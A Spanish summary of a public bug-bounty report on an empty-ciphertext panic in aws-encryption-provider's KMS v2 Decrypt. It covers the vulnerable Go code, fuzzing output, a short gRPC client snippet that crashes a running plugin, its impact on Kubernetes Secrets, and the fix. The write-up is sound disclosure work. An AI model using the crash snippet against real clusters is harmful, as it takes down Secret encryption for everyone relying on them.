Reports
MEDIA[DENEGACIÓN DE SERVICIO]#3620753

aws-encryption-provider: un Decrypt con ciphertext vacío tumba el plugin KMS v2 y deja a Kubernetes sin Secrets

El método Decrypt de la API KMS v2 de aws-encryption-provider leía el primer byte del ciphertext sin comprobar su longitud. Una sola llamada gRPC con un ciphertext vacío provocaba un panic que mataba todo el proceso.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

aws-encryption-provider es el plugin KMS que usa Kubernetes para cifrar los Secrets en reposo con AWS KMS. Expone un servidor gRPC sobre un socket Unix al que kube-apiserver pide cifrar y descifrar.

En la ruta de la API v2 de KMS, la función V2Plugin.Decrypt() (pkg/plugin/plugin_v2.go, línea 182) lee request.Ciphertext[0] para averiguar la versión de almacenamiento, pero nunca comprueba que el slice tenga al menos un byte. El campo Ciphertext de DecryptRequest es un []byte que puede llegar vacío o nil, y en ambos casos Go lanza un panic: index out of range [0] with length 0. Como ese panic no se recupera en ningún punto, cae el proceso entero del servidor.

El investigador lo encontró con fuzzing (FuzzV2Decrypt): la primera semilla, un []byte{} vacío, ya bastaba. Lo probó sobre el commit 4341c70 y, según el reporte, afecta a todas las versiones. Es el mismo fallo de fondo que el investigador había reportado antes para la API v1 (reporte 3620748), ahora en la ruta v2. HackerOne lo clasifica como Array Index Underflow, con severidad media.

El código vulnerable:

// pkg/plugin/plugin_v2.go:178-189
func (p *V2Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
    zap.L().Debug("starting decrypt operation")

    startTime := time.Now()
    storageVersion := kmsplugin.KMSStorageVersion(request.Ciphertext[0])  // <-- LINE 182: PANIC
    switch storageVersion {
    case kmsplugin.KMSStorageVersionV2:
        request.Ciphertext = request.Ciphertext[1:]
    default:
        return nil, fmt.Errorf("version %s in Ciphertext doesn't match kmsplugin", storageVersion)
    }

Pasos de reproducción

  1. En el repositorio de aws-encryption-provider, lanzar el fuzzer de la ruta v2:
$ go test -fuzz FuzzV2Decrypt -fuzztime 10s ./pkg/plugin/
--- FAIL: FuzzV2Decrypt (0.00s)
    --- FAIL: FuzzV2Decrypt/seed#0 (0.00s)
panic: runtime error: index out of range [0] with length 0
    sigs.k8s.io/aws-encryption-provider/pkg/plugin.(*V2Plugin).Decrypt
  1. Contra un servidor en marcha basta con un cliente gRPC mínimo que se conecte al socket del plugin y llame a Decrypt con un ciphertext vacío:
conn, _ := grpc.Dial("unix:///var/run/kmsplugin/socket.sock", grpc.WithInsecure())
client := v2pb.NewKeyManagementServiceClient(conn)
// This crashes the server:
client.Decrypt(context.Background(), &v2pb.DecryptRequest{Ciphertext: []byte{}})
  1. El proceso del plugin se cae con el panic anterior. Según el reporte, pasa lo mismo si el campo llega como nil en lugar de []byte{}.

El investigador lo probó en macOS arm64 con Go 1.26.1, pero el fallo no depende de la plataforma porque es código Go puro.

Impacto

  • Caída completa del servicio: el panic no se recupera y mata el proceso de aws-encryption-provider. Como el mismo proceso sirve la API v1 y la v2, tumbarlo por cualquiera de las dos deja sin servicio a ambas.
  • Kubernetes sin acceso a los Secrets: mientras el pod se reinicia, kube-apiserver no puede cifrar ni descifrar Secrets en reposo. Según el reporte, eso bloquea la creación de pods, la lectura de configmaps y la emisión de tokens de cuentas de servicio.
  • Sin autenticación ni credenciales: el servidor gRPC no tiene autenticación, así que cualquier proceso con acceso al socket Unix puede provocarlo, y no hacen falta credenciales válidas de KMS.
  • Explotación trivial: basta una única llamada gRPC con un ciphertext vacío.

Remediación

El reporte está marcado como resuelto. El investigador propuso comprobar la longitud antes de leer el primer byte y devolver un error en vez de caer:

func (p *V2Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
    zap.L().Debug("starting decrypt operation")

    startTime := time.Now()
    if len(request.Ciphertext) == 0 {
        return nil, fmt.Errorf("invalid empty ciphertext")
    }
    storageVersion := kmsplugin.KMSStorageVersion(request.Ciphertext[0])

Qué aprender de este caso

  • Cuando un formato lleva un byte de versión o de cabecera al principio (datos[0], datos[1:]), revisa siempre qué pasa si llega vacío o nil: en protobuf/gRPC, un campo bytes vacío es perfectamente válido y llega así a tu handler.
  • Si encuentras un fallo así en una ruta de la API, busca el mismo patrón en sus hermanas (v1/v2, Encrypt/Decrypt): aquí el error de la v1 se repetía tal cual en la v2.
  • En Go, un panic dentro de un handler gRPC tira todo el proceso salvo que haya un interceptor de recuperación. En servicios críticos, como un plugin KMS del que depende kube-apiserver, conviene tenerlo además de validar la entrada.
  • Un fuzzer con semillas mínimas (un slice vacío, un solo byte) encuentra este tipo de fallo en segundos: vale la pena añadir tests de fuzz a cualquier función que parsee bytes recibidos por la red o por un socket.